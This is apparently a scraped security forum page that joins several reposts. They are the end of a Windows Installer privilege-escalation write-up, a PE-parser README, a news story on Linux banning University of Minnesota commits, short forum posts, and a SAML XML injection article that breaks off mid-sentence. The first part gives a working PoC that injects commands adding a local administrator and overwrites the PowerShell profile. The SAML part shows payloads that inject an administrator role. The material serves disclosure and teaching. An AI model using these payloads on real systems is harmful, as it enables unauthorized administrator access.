C:\Users\lowpriv\AppData\Roaming\Microsoft\Windows\SendTo\ Property(S): TemplateFolder = C:\ProgramData\Microsoft\Windows\Templates\ Property(S): CommonAppDataFolder = C:\ProgramData\ Property(S): LocalAppDataFolder = C:\Users\lowpriv\AppData\Local\ Property(S): MyPicturesFolder = C:\Users\lowpriv\Pictures\ Property(S): AdminToolsFolder = C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\ Property(S): StartupFolder = C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ Property(S): ProgramMenuFolder = C:\ProgramData\Microsoft\Windows\Start Menu\Programs\ Property(S): StartMenuFolder = C:\ProgramData\Microsoft\Windows\Start Menu\ Property(S): DesktopFolder = C:\Users\Public\Desktop\ Property(S): FontsFolder = C:\WINDOWS\Fonts\ Property(S): GPTSupport = 1 Property(S): OLEAdvtSupport = 1 Property(S): ShellAdvtSupport = 1 Property(S): MsiAMD64 = 6 Property(S): Msix64 = 6 Property(S): Intel = 6 Property(S): PhysicalMemory = 5687 Property(S): VirtualMemory = 2713 Property(S): LogonUser = lowpriv Property(S): UserSID = S-1-5-21-2746136434-3241333796-1554539884-1002 Property(S): UserLanguageID = 1033 Property(S): ComputerName = DESKTOP-OMNIO40 Property(S): SystemLanguageID = 1033 Property(S): ScreenX = 1024 Property(S): ScreenY = 768 Property(S): CaptionHeight = 19 Property(S): BorderTop = 1 Property(S): BorderSide = 1 Property(S): TextHeight = 16 Property(S): TextInternalLeading = 3 Property(S): ColorBits = 32 Property(S): TTCSupport = 1 Property(S): Time = 20:18:09 Property(S): Date = 4/15/2021 Property(S): MsiNetAssemblySupport = 4.8.4084.0 Property(S): MsiWin32AssemblySupport = 6.3.19041.1 Property(S): RedirectedDllSupport = 2 Property(S): AdminUser = 1 Property(S): MsiRunningElevated = 1 Property(S): Privileged = 1 Property(S): USERNAME = Adrian Property(S): Installed = 00:00:00 Property(S): DATABASE = C:\WINDOWS\Installer\148d3c4.msi Property(S): OriginalDatabase = C:\WINDOWS\Installer\148d3c4.msi Property(S): RollbackDisabled = 1 Property(S): UILevel = 3 Property(S): Preselected = 1 Property(S): ACTION = INSTALL Property(S): ROOTDRIVE = C:\ Property(S): CostingComplete = 1 Property(S): OutOfDiskSpace = 0 Property(S): OutOfNoRbDiskSpace = 0 Property(S): PrimaryVolumeSpaceAvailable = 0 Property(S): PrimaryVolumeSpaceRequired = 0 Property(S): PrimaryVolumeSpaceRemaining = 0 Property(S): INSTALLLEVEL = 1 === Logging stopped: 4/15/2021 20:18:09 === If you don’t see why that could be useful, I will explain that in a second. For now, there’s plenty of garbage in the output. Let’s try harder. /L+ will append instead of overwritting - this could be useful in some situations and would let us test attacks without breaking the entire file. /Lc logs initial UI parameters only. This results in only two lines of output, but not under attacker control. 1 2 === Logging started: 4/15/2021 20:28:50 === === Logging stopped: 4/15/2021 20:28:50 === Other logging flags aren’t helping that much, plus they even cause MSI to use more than one thread and it can cause additional issues. Some will log verbose messages, some only errors… Perhaps malicious MSI package would have more control over the content? Sounds like a good idea to check. Let’s prepare a custom one. Ccrafting MSI Custom MSI packages can be crafted using WiX toolset. This way we will control behavior and also additional properties of MSI package. First we need to create example.wxs file with following content: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <Wix xmlns="http://schemas.microsoft.com/wix/2006/wi"> <Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="; net user FooBar P@ssw0rd /add ; net localgroup Administrators FooBar /add #" Version="0.0.1" Manufacturer="Example Company Name" Language="1033"> <Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/> <Media Id="1" Cabinet="product.cab" EmbedCab="yes"/> <Directory Id="TARGETDIR" Name="SourceDir"> <Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222"/> </Directory> <Feature Id="DefaultFeature" Level="1"> <ComponentRef Id="ApplicationFiles"/> </Feature> </Product> </Wix> Note the Name attribute. It contains injected PowerShell command along with ‘;’ to separate instructions. The ‘#’ at the end is used to comment out the remaining characters in the line. This will be more clear later. Now, we can use candle.exe example.wxs to process the above definition and light example.wixobj to create example.msi package. Let’s move it to the attacked system and redo attack: msiexec /f C:\temp\example.msi /L C:\Temp\log.txt Oops. This won’t work - we would need to install the package first and this obviously requires admin privileges. Let’s not even start with the social engineering narrative. That’s the dead end. Product advertisement I decided to test other flags - perhaps repair isn’t the only interesting option to trigger. The /j<u|m> <Product.msi> option is used as advertises a product - m to all users, u to current user. Let’s see what it really does: 1 2 BaitAndSwitch C:\temp\linkdir\link C:\temp\fakelog.txt C:\foo.log msiexec /j example.msi /L C:\temp\linkdir\link UAC prompt. So it must be admin only after all… However, if we take a look at procmon - it looks like write already happened. We didn’t have to provide any credentials at all! At this point, we can safely cancel UAC - the elevated writing already happened! The data controlled by the attacker is appended to the target file and we have arbitrary write with partial content control. Final touches The C:\foo.log file now contains: MSI (s) (58:68) [21:20:31:191]: Product: ; net user FooBar P@ssw0rd /add ; net localgroup Administrators FooBar /add # -- Advertisement failed. Did I mention that this is a UTF-16 file? Well, it is. So it cannot be turned into cmd.exe payload, but PowerShell will happily process the file. Semicolons are there to split commands, and hash character to comment out the remaining text. If you overwrite (or create new) C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1 - it’s going to be started next time administrator start PowerShell. There are also other LPE locations where it will fit just fine, but thinking of other vectors is going to be your homework. Another problem I wanted to solve was getting rid of UAC prompt completely. To do that, another switch was used: /t somevalue /qn - this will trigger a silent error after the write, but before UAC prompt. We intentionally want installer to fail at early stage. The /qn switch will guarantee no UI. This makes the payload usable even without GUI access to the system and nothing blocks console interaction. Full PoC After all that storytelling, the final PoC is: 1 2 3 4 5 6 @echo off REM Put BaitAndSwitch, example.msi into C:\temp echo > C:\temp\fakelog.txt start C:\temp\BaitAndSwitch C:\temp\linkdir\link C:\temp\fakelog.txt C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1 timeout /t 1 msiexec /j C:\temp\example.msi /t ksz /Li! C:\temp\linkdir\link /qn Since your system should already be patched, here’s a quick video PoC of it in action: Thanks for reading! Sursa: https://www.cloaked.pl/2021/04/cve-2021-26415/
-
- 1
-
-
Portable Executable Parser pe parser is a go package for parsing the portable executable file format. This package was designed with malware analysis in mind, and being resistent to PE malformations. Features Works with PE32/PE32+ file fomat. Supports Intel x86/AMD64/ARM7ARM7 Thumb/ARM8-64/IA64/CHPE architectures. MS DOS header. Rich Header (calculate checksum). NT Header (file header + optional header). COFF symbol table and string table. Sections headers + entropy calculation. Data directories Import Table + ImpHash calculation. Export Table Resource Table Exceptions Table Security Table + Authentihash calculation. Relocations Table Debug Table (CODEVIEW, POGO, VC FEATURE, REPRO, FPO, EXDLL CHARACTERISTICS debug types). TLS Table Load Config Directory (SEH, GFID, GIAT, Guard LongJumps, CHPE, Dynamic Value Reloc Table, Enclave Configuration, Volatile Metadata tables). Bound Import Table Delay Import Table COM Table (CLR Metadata Header, Metadata Table Streams) Report several anomalies Installing Using peparser is easy. First, use go get to install the latest version of the library. This command will install the peparser generator executable along with the library and its dependencies: go get -u github.com/saferwall/pe Next, include peparser in your application: import "github.com/saferwall/pe" Using the library package main import ( peparser "github.com/saferwall/pe" ) func main() { filename := "C:\\Binaries\\notepad.exe" pe, err := peparser.New(filename, nil) if err != nil { log.Fatalf("Error while opening file: %s, reason: %s", filename, err) } err = pe.Parse() if err != nil { log.Fatalf("Error while opening file: %s, reason: %s", filename, err) } TODO: imports MS-styled names demangling PE: VB5 and VB6 typical structures: project info, DLLCall-imports, referenced modules, object table Fuzz Testing To validate the parser we use the go-fuzz and a corpus of known malformed and tricky PE files from corkami. References Peering Inside the PE: A Tour of the Win32 Portable Executable File Format by Matt Pietrek An In-Depth Look into the Win32 Portable Executable File Format - Part 1 by Matt Pietrek An In-Depth Look into the Win32 Portable Executable File Format - Part 2 by Matt Pietrek Portable Executable File Format PE Format MSDN spec Sursa: https://github.com/saferwall/pe
-
Nu stiu daca se poate, doar ei (teoretic) se pot conecta sa faca modificari administrative.
-
Linux bans University of Minnesota for committing malicious code By Ax Sharma April 21, 2021 01:08 PM 0 In a rare, groundbreaking decision, Linux kernel project maintainers have imposed a ban on the University of Minnesota (UMN) from contributing to the open-source Linux project. The move comes after a group of UMN researchers were caught submitting a series of malicious code commits, or patches that deliberately introduced security vulnerabilities in the official Linux codebase, as a part of their research activities. Additionally, the Linux kernel project maintainers have decided to revert any and all code commits that were ever submitted from an @umn.edu email addresses. Malicious commits mass-reverted, UMN researchers banned Today, a major Linux kernel developer, Greg Kroah-Hartman has banned the University of Minnesota (UMN) from contributing to the open-source Linux kernel project. Kroah-Hartman also decided to revert all commits submitted from any UMN email address thus far. The developer's justification for taking this step is: "Commits from @umn.edu addresses have been found to be submitted in 'bad faith' to try to test the kernel community's ability to review 'known malicious' changes." "Because of this, all submissions from this group must be reverted from the kernel tree and will need to be re-reviewed again to determine if they actually are a valid fix." "Until that work is complete, [we are removing] this change to ensure that no problems are being introduced into the codebase," said Kroah-Hartman in a series of published emails. Linux kernel developer Greg Kroah-Hartman mass-reverts commits submitted from UMN In February 2021, UMN researchers published a research paper titled, "Open Source Insecurity: Stealthily Introducing Vulnerabilities via Hypocrite Commits." The focus of this research was to deliberately introduce known security vulnerabilities in the Linux kernel, by submitting malicious or insecure code patches. As seen by BleepingComputer, the researchers demonstrate many examples of instances where they introduced known vulnerabilities by making these "hypocrite" patch commits: Researchers attempt to reintroduce NULL pointer dereference flaw (CVE-2019-15922) in the code "Introducing the nullified state is straightforward. The patch is seemingly valid because it nullifies pf->disk->queue after the pointer is released." "However, some functions such as pf_detect() and pf_exit() are called after this nullification and they would further dereference this pointer without checking its state, leading to NULL-pointer," state UMN researchers in their paper. As seen by BleepingComputer, there are hundreds of commits touting themselves to be "patches" that have been reverted as a part of this process: Partial list of commits from UMN researchers that have been reverted by Kroah-Hartman UMN Researchers call the accusations "slander" Soon enough, researcher Aditya Pakki from UMN pushed back asking Kroah-Hartman to refrain "from making wild accusations that are bordering on slander." Pakki wrote: Greg, I respectfully ask you to cease and desist from making wild accusations that are bordering on slander. These patches were sent as part of a new static analyzer that I wrote and it's sensitivity is obviously not great. I sent patches on the hopes to get feedback. We are not experts in the linux kernel and repeatedly making these statements is disgusting to hear. Obviously, it is a wrong step but your preconceived biases are so strong that you make allegations without merit nor give us any benefit of doubt. I will not be sending any more patches due to the attitude that is not only unwelcome but also intimidating to newbies and non experts. To which Kroah-Hartman responded that the Linux kernel developer community does not appreciate being experimented on in this manner. "If you wish to do work like this, I suggest you find a different community to run your experiments on, you are not welcome here," said Kroah-Hartman. "Because of this, I will now have to ban all future contributions from your University and rip out your previous contributions, as they were obviously submitted in bad-faith with the intent to cause problems," he continued. UMN researchers have compiled a detailed FAQ document in which they state that the goal of their research was to improve the security of the patching process in open-source software by demonstrating the practicality of bug-introducing patches. The researchers also stated that any patch suggestions were made via email exchanges and never made it into any code branch, or the Linux kernel. According to the document, the University's IRB determined that this was not human research or ethically harmful, and as such cleared the research activities. Although, the researchers did offer their sincere apologies to Linux maintainers for the time wasted on reviewing "hypocrite" patches: "We would like to sincerely apologize to the maintainers involved in the corresponding patch review process; this work indeed wasted their precious time." "We had carefully considered this issue, but could not figure out a better solution in this study," state the researchers. Brad Spengler, President of Open Source Security Inc. weighed in on the matter, calling this an "overreaction" on the Linux kernel maintainers' part. Spengler points out that many people, including himself, had called out the suspicious commits to Linux maintainers last year, but that it isn't until now that these have been mass-actioned. "...this overreaction is terrible, reverting commits from long before any of that research, removing CAP_SYS_ADMIN checks that were added, etc... This is nuts," Spengler continued in the same thread. Spengler also implies that not all of the reverted patches may have been malicious, warning that a decision to revert all patches could re-introduce bugs: "It's one thing to perform that review behind the scenes and only commit the result of that review, but to knowingly re-introduce dozens of vulnerabilities to 'take a stand'? Come on." BleepingComputer reached out to the University of Minnesota for comment in advance of publishing this article but we have not heard back yet. When contacted by BleepingComputer, Kroah-Hartman chose not to offer any further comment on the situation. Update: 3:07 PM ET: added excerpts from FAQ compiled by UMN researchers. Sursa: https://www.bleepingcomputer.com/news/security/linux-bans-university-of-minnesota-for-committing-malicious-code/
-
Premiile au fost trimise catre cei care mi-au raspuns la email. Mentionez ca nu am primit un raspuns de la 2 castigatori, astept un email de la ei pe contact@rstcon.com. Am rugamintea sa imi spuneti daca cumva pana maine dupa-amiaza nu ajung banii. Am primit mai multe write-up-uri, orice format este in regula. Mai asteptam altele pana in aceasta seara iar maine vom oferi cele 3 premii.
-
Castigatorii au fost contactati pentru a primi premiile. Premiile au fost oferite din donatii de la membri RST: @malsploit @mrreboot @LinkAggregation @theandruala si @Nytro Exercitiile vor mai fi disponibile o perioada (2-3 saptamani, cel putin pentru cele care necesita VPS) pentru cei care vor sa le vada. Asteptam write-up-urile voastre pana miercuri seara iar joi vom oferi si premiile pentru aceasta categorie. Asteptam de asemenea orice fel de feedback referitor la CTF: exercitii, organizare, premii, timp etc. Acest feedback poate fi public, aici, sau pe email la contact@rstcon.com
-
RST CTF #1 s-a incheiat, multumim tuturor pentru participare! Asteptam writeup-urile pe email contact@rstcon.com pana miercuri seara. Ulterior vom publica si rezolvarile. Asteptam de asemenea si parerile voastre referitoare la concurs, aici sau pe acelasi email. Orice sugestie sau critica e binevenita. Zilele urmatoare ii vom contacta pe castigatori pentru oferirea premiilor.
-
La ora 23:59 se termina concursul. Asteptam writeup-urile pe email contact@rstcon.com pana miercuri seara. Hint pentru Server: SSH Hint pentru Reteaua: Network pentest (unde se cauta mai putin) - Information gathering
-
Nu e chiar un hint, dar pentru Forensics > RST, ar putea ajuta un Ctrl + F5 / Browser refresh.
-
Cele mai bune write-up-uri vor fi de asemenea premiate: 200 RON fiecare.
-
A inceput, se va termina duminica seara (23:59). GL & HF!
-
Cat imi plac site-urile asta, Antena3 style, care fac afirmatii fara argumente. Adica fara dovezi. Exemple: - x% din medici s-au vaccinat - De unde au site-urile astea mizerabile aceasta informatie? - Gheorghita a declarat... - Unde a declarat? Un video de la TV/conferinta de presa nu exista? Un post pe Facebook sau orice altceva? Stire a jurnalistului Nytro: "Gigel Betivul, un cunoscut membru RST, a declarat ca a baut tuica de prune pentru a preveni infectarea cu Covid. Acest experiment a avut un final neasteptat: virusul SARS-Cov2 s-a imbatat atat de rau dupa ce l-a infectat inca a decis sa se retraga din Romania. Asadar de maine toate restrictiile vor fi ridicate." Stirea mea e la fel de plauzibila ca stirile de mai sus.
-
CTF-ul incepe in mai putin de 2 ore. PS: Am marit premiile pentru locurile 4-10.
-
Pregatiti? Daca aveti intrebari pe parcursul concursului le vom discuta pe Slack: https://romaniansecurityteam.slack.com/
-
Nu stiu daca exista undeva "vaccin obligatoriu". Exista doar pentru copii, pentru minori (in anumite tari si care a fost declarat legal de catre Curtea Europeana), care nu pot lua singuri decizii si e nasol ca viata lor sa depinde de un adult care urmareste niste pagini idioate de Facebook (e.g. Olivia Ster). Nici eu nu sunt de acord cu vaccinarea obligatorie pentru adulti. Pot lua singuri decizii pe care si le asuma. Darwin.
-
Vaccinurile nu au efecte secundare grave. Mai ales daca la numarul de cazuri de cheaguri comparam numarul de cazuri de cheaguri provocate de catre Covid-19. Era o statistica 10 de cazuri cheaguri / 1.000.000 vaccinari si 16.000 de cazuri cheaguri / 1.000.000 infectari Covid. Si vreo 1500 de cazuri cheaguri / 1.000.000 fumatori. Plm, ar trebui sa ma las Sunt testate deja de peste 140.000.000 de oameni.
-
Interesant, legat de vaccinuri si eficacitate
-
SAML XML Injection Adam Roberts Research, Vulnerability March 29, 2021 36 Minutes The Single Sign-On (SSO) approach to authentication controls and identity management was quickly adopted by both organizations and large online services for its convenience and added security. The benefits are clear; for end-users, it is far easier to authenticate to a single service and gain access to all required applications. And for administrators, credentials and privileges can be controlled in a single location. However, this convenience presents new opportunities for attackers. A single vulnerability in the SSO authentication flow could be catastrophic, exposing data stored in all services used by an organization. This blog post will describe a class of vulnerability detected in several SSO services assessed by NCC Group, specifically affecting Security Assertion Markup Language (SAML) implementations. The flaw could allow an attacker to modify SAML responses generated by an Identity Provider, and thereby gain unauthorized access to arbitrary user accounts, or to escalate privileges within an application. What is SAML? To begin, a brief overview of how the SAML authentication flow works has been provided below. Feel free to skip this section if you are already familiar with SAML and SSO in general. SAML is a standard that allows authentication and authorization data to be securely exchanged between different contexts. It is commonly used in web applications to offer SSO capabilities, and can be easily integrated with Active Directory, making it a popular choice for applications used within enterprise environments. The authentication process relies on a trust relationship between two parties – the Identity Provider (which authenticates end-users), and the Service Provider (which is the application end-users want to access). Under the most common authentication flow, when a user wants to access a service provider, they will be redirected to the identity provider with a SAML request message. The identity provider authenticates the user if they are not already logged in, and if this is successful, it redirects the user back to the service provider with a SAML response message (usually in the body of a POST request). The SAML response message will contain an assertion that identifies the user and describes a few conditions (the expiration time for the response and an audience restriction which states the service that the assertion is valid for). The service provider should validate the response, the assertion, and the conditions, and only provide the user with access to the application if the authentication was successful. To prevent tampering, one or both of the SAML response and assertion should include a cryptographic signature that the service provider can verify. The use of a signature will ensure that a malicious user cannot simply modify the user identifier in the assertion, as the signature will no longer be valid. A more in-depth summary of SAML can be found here on PingIdentity’s website. The Vulnerability XML injection is a well-documented vulnerability class, which commonly affected older web applications utilizing XML or SOAP services in the backend. The common case involved user input being directly included in XML messages sent to the backend server. If the user input was not appropriately validated or encoded, an attacker could inject additional XML, and thereby modify request parameters or invoke additional functionality. While still relevant in some applications, XML injection is not nearly as common in 2021, with developers moving to adopt services built on newer data formats such as JSON, YAML, and Protocol Buffers. In the context of a SAML identity provider, however, XML injection is a concern, as the SAML messages constructed during the authentication flow are XML-based, and contain data that is often sourced from untrusted locations. If this data is included within a SAML assertion or response message dangerously, it may be possible for an attacker to inject additional XML, and change the structure of the SAML message. Depending on the location of the injection and the configuration of the service provider, it may be possible to inject additional roles, modify the receiver of the assertion, or to inject an entirely new username in an attempt to compromise another user’s account. Crucially, it should be noted that the XML for SAML assertions and responses is always built before a cryptographic signature is applied. Therefore, the use of response signatures does not protect against this vulnerability. This type of vulnerability is most commonly seen in SAML identity providers that naively use string templates to build the SAML XML messages. User-controlled data may be inserted into the template string using a templating language, regex match/replace, or simple concatenation. Although, it is not exclusive to this scenario; even implementations which build the XML using appropriate libraries may fall victim to this vulnerability if the library is used incorrectly. During a number of security assessments of SAML identity providers, NCC Group has successfully leveraged XML injection vulnerabilities to modify signed assertions, and thereby gain unauthorized access to arbitrary user accounts. Affected Fields When constructing the SAML response and assertion, the identity provider is highly likely to include data that can be controlled by the user, either directly or indirectly. Obvious examples include the SAML NameID, which uniquely identifies the user (this may be a numeric identifier, a username, or an email address), and additional attributes when they are requested by the service provider, such as the user’s full name, phone number, or occupation. However, there are some less obvious fields that are, in most SAML implementations, sourced from the SAML request. A non-comprehensive list of fields in the SAML request that may be included in the SAML response/assertion has been provided below: The ID of the SAML request is typically included in the InResponseTo attribute of the SAML response. (Note: in identity providers observed by NCC Group, almost all implementations included the SAML request ID in the SAML response. This field is therefore considered the most reliable for probing for XML injection vulnerabilities). The Issuer field, which identifies the issuer of the SAML request, may be included in the Audience field in the SAML assertion. The IssueInstant, which states the time the SAML request was generated, may be included in the assertion conditions NotBefore attribute. The Destination field, which states the endpoint that receives the SAML request. This field may also be used in the Audience element of the assertion. Some implementations may even include data sourced from locations external to the basic SAML authentication flow. To provide an example, in one SAML identity provider, if a SAML request was received from an unauthenticated client, the server issued a redirect to the login page with a GET parameter that included the ID of the SAML request. When the user entered their credentials, the server used the GET parameter ID to look up service provider associated with the SAML request, and then built the SAML response with this ID in the InResponseTo attribute. By modifying the ID GET parameter in the login request, it was possible to inject additional XML into the SAML response. Identifying the Vulnerability This vulnerability can be identified using common XML injection probing payloads. The following examples were recreated in a local environment, based on implementations observed during NCC Group security assessments. First, to determine whether XML injection was possible, an intercepting proxy was used to modify the SAML request sent to the identity provider. The payload was inserted into the ID attribute (bolded below) of the request, and is designed to escape from the attribute value and inject an additional attribute value (ncctest); note that the quotes in the payload are XML encoded. This is to ensure that the request XML is still valid; when the value is read by the identity provider, many implementations will XML-decode these entities: <?xml version="1.0" encoding="UTF-8"?> <samlp:AuthnRequest AssertionConsumerServiceURL="http://127.0.0.1/simplesaml/module.php/saml/sp/saml2-acs.php/default-sp" Destination="http://adam.local:8080/SSOService" ID="_3af7aba034a5dc5ac8c5ddf28805fb832ec683bfffAAAA" ncctest="BBBB" IssueInstant="2021-02-08T22:39:58Z" ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" Version="2.0" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"> <saml:Issuer>http://127.0.0.1/simplesaml/module.php/saml/sp/metadata.php/default-sp</saml:Issuer> <samlp:NameIDPolicy AllowCreate="true" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient"/> </samlp:AuthnRequest> When this was processed by the identity provider, the ID attribute was included directly within the SAML response template, in the InResponseTo attribute of the samlp:Response and saml:SubjectConfirmationData elements: <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_fa828226-5b49-4d14-ac7c-fb64e2263f34" Version="2.0" IssueInstant="2021-02-08T23:46:14.988Z" Destination="http://127.0.0.1/simplesaml/module.php/saml/sp/saml2-acs.php/default-sp" InResponseTo="_3af7aba034a5dc5ac8c5ddf28805fb832ec683bfffAAAA" ncctest="BBBB"> <saml:SubjectConfirmationData NotOnOrAfter="2021-02-08T23:51:14.988Z" Recipient="http://127.0.0.1/simplesaml/module.php/saml/sp/saml2-acs.php/default-sp" InResponseTo="_3af7aba034a5dc5ac8c5ddf28805fb832ec683bfffAAAA" ncctest="BBBB"/> If this test is successful, an attempt can be made to inject additional XML elements into the response. While being able to modify the attributes is interesting, it is not particularly useful; if additional XML can be injected, the attacker may be able to modify the SAML assertion, and ultimately gain unauthorized access to another user’s account. As a basic test, the following SAML request was used to inject an additional XML element (ncc-elem) into the response. As before, the quotes and angle brackets are XML encoded. Also note that the injected element includes another attribute – this is to ensure that the quotes in the template used by the identity provider are balanced, and that the response is valid XML: <?xml version="1.0" encoding="UTF-8"?> <samlp:AuthnRequest AssertionConsumerServiceURL="http://127.0.0.1/simplesaml/module.php/saml/sp/saml2-acs.php/default-sp" Destination="http://adam.local:8080/SSOService" ID="_3af7aba034a5dc5ac8c5ddf28805fb832ec683bfffAAAA" ncctest="BBBB"><ncc-elem attribute="aaaa" IssueInstant="2021-02-08T22:39:58Z" ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" Version="2.0" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"> <saml:Issuer>http://127.0.0.1/simplesaml/module.php/saml/sp/metadata.php/default-sp</saml:Issuer> <samlp:NameIDPolicy AllowCreate="true" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient"/> </samlp:AuthnRequest> This request produced the following XML in the SAML response: <samlp:Response Destination="http://127.0.0.1/simplesaml/module.php/saml/sp/saml2-acs.php/default-sp" ID="_6788c1c3-03a0-452f-80d5-b0296ec1a097" IssueInstant="2021-02-08T23:57:49.488Z" Version="2.0" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" InResponseTo="_3af7aba034a5dc5ac8c5ddf28805fb832ec683bfffAAAA" ncctest="BBBB"> <ncc-elem attribute="aaaa"/> A similar process can be used for other injection points. If, for example, the identity provider includes the SAML request Issuer field within the Audience of the response, a payload such as the following could be used to inject additional elements. Note here that it is necessary to encode the angle brackets (< and >): <?xml version="1.0" encoding="UTF-8"?> <samlp:AuthnRequest AssertionConsumerServiceURL="http://127.0.0.1/simplesaml/module.php/saml/sp/saml2-acs.php/generic-saml-localhost" Destination="http://127.0.0.1:8080/samlp" ID="_0699a57c1e6ac6afc3c2d7ab8cc56dec61cb09b672" IssueInstant="2021-02-11T18:51:31Z" ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" Version="2.0" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"> <saml:Issuer>http://127.0.0.1/simplesaml/module.php/saml/sp/metadata.php/generic-saml-localhost/<ncc-test>test</ncc-test></saml:Issuer> <samlp:NameIDPolicy AllowCreate="true" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient"/> </samlp:AuthnRequest> This request produced the following Audience element in the SAML assertion: <saml:AudienceRestriction> <saml:Audience>http://127.0.0.1/simplesaml/module.php/saml/sp/metadata.php/generic-saml-localhost/<ncc-test>test</ncc-test></saml:Audience> </saml:AudienceRestriction> For user attributes, the success of injecting XML characters into the SAML assertion will depend on how these attributes are updated and stored by the identity provider; if XSS defenses prevent users from storing characters such as angle brackets in their attributes, it may not be possible to perform the attack. In the following example, setting the user’s name to “Adam</saml:AttributeValue><ncc-test>aaaa</ncc-test><saml:AttributeValue>” produced the following Attribute element in the assertion. In this particular case, it was necessary to close the saml:AttributeValue element and create a new AttributeValue element to pass XML validation performed by the server: <saml:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/givenname" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri"> <saml:AttributeValue xsi:type="xs:string">Adam</saml:AttributeValue> <ncc-test>aaaa</ncc-test> <saml:AttributeValue/> </saml:Attribute> Exploiting the Vulnerability Identifying SAML XML injection vulnerabilities is fairly straightforward, but exploiting them is another story. Success will depend on a multitude of factors, including where the injection points occur, how tolerant of invalid XML the libraries used to sign and parse the SAML response are, and whether the service provider will trust the injected payload. In fact, in some cases where XML injection was possible on the identity provider, a number of service providers rejected or ignored the modified payload. Not because the signature was invalid, but because of repetition in the document. The nature of this vulnerability will mean that, in many cases, it is necessary to inject repeated elements or to construct entirely new assertions. Problems encountered as a consequence of this include: The service provider may select the original legitimate element (assertion or NameID) created by the identity provider, rather than the injected element. Many XML libraries will behave differently when selecting an element that is repeated in a document; typically, this will either be the first occurrence or the last occurrence. Some security conscious service providers may reject responses containing repeated elements altogether; there is generally no good reason for an assertion to contain two NameID elements, for example. The attack may also fail if the service provider includes defenses against XML Signature Wrapping (XSW)*. This is a well-documented SAML vulnerability, where an attacker modifies the structure of a SAML response in an attempt to trick the service provider into reading the user’s identity from an unsigned element (e.g. by adding a second unsigned assertion to a SAML response, before the legitimate signed assertion). Although an XML injection attack would mean that both assertions are included in the scope of the SAML response signature, simply the presence of a second assertion element can be enough for some service providers to reject the message. * For a good overview of XML Signature Wrapping attacks, see On Breaking SAML: Be Whoever You Want to Be Example Exploits In assessments performed by NCC Group, this vulnerability was most commonly exploitable in two scenarios; Attribute injections – where the injection occurs in a SAML attribute associated with the account in the Identity Provider. InResponseTo injections – where the injection affects the “InResponseTo” attribute of the SAML response. Example exploits for these two scenarios have been provided in the following section. As it would be impossible to demonstrate all possible XML injection attacks on SAML implementations in this blog post, hopefully these can provide some inspiration. The techniques outlined here can likely be adapted to exploit identity providers affected by this vulnerability in most configurations. Disclaimer: These examples were reproduced in a local environment specifically built to be vulnerable to this attack. Attribute Injections In addition to the NameID (which is the unique identifier for the user), SAML responses can include a set of user attributes that may be useful to the service provider. These are optional and there are no particular requirements; typically they are used to send data such as the user’s name, email address, and phone number. Some service providers also use the attributes to dictate the privileges that should be assigned to the user post-authentication, using a role attribute or similar. Therefore, if these attributes are not appropriately encoded, an attacker could inject or modify attributes to escalate their privileges or otherwise gain access to sensitive data in the service provider. As an example, if the SAML assertion contains an AttributeStatement such as the following. This includes two attributes; one for the user’s full name and another for the user’s role (viewer): <saml:AttributeStatement xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <saml:Attribute Name="name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"> <saml:AttributeValue xsi:type="xs:string">Adam Roberts</saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"> <saml:AttributeValue xsi:type="xs:string">viewer</saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement> The attacker could change their name in the identity provider to the following value: Adam Roberts</saml:AttributeValue></saml:Attribute><saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue xsi:type="xs:string">administrator If the identity provider includes this value in the name attribute without appropriate validation, the following AttributeStatement will be sent to the service provider. This may allow the attacker to authenticate to the application under the context of an “administrator”, rather than a “viewer”: <saml:AttributeStatement xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <saml:Attribute Name="name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"> <saml:AttributeValue xsi:type="xs:string">Adam Roberts</saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"> <saml:AttributeValue xsi:type="xs:string">administrator</saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"> <saml:AttributeValue xsi:type="xs:string">viewer</saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement> Note that the “role” Attribute element is repeated, and it is therefore possible that the attack may fail if the service provider reads the second role attribute value, or if a validator rejects the assertion. If the attacker controls two attributes (e.g. the name and an email address), it may be possible to use XML comments to effectively delete the role attribute generated by the identity provider. Take the following AttributeStatement as an example. This includes the user’s email address, the role, and a name attribute: 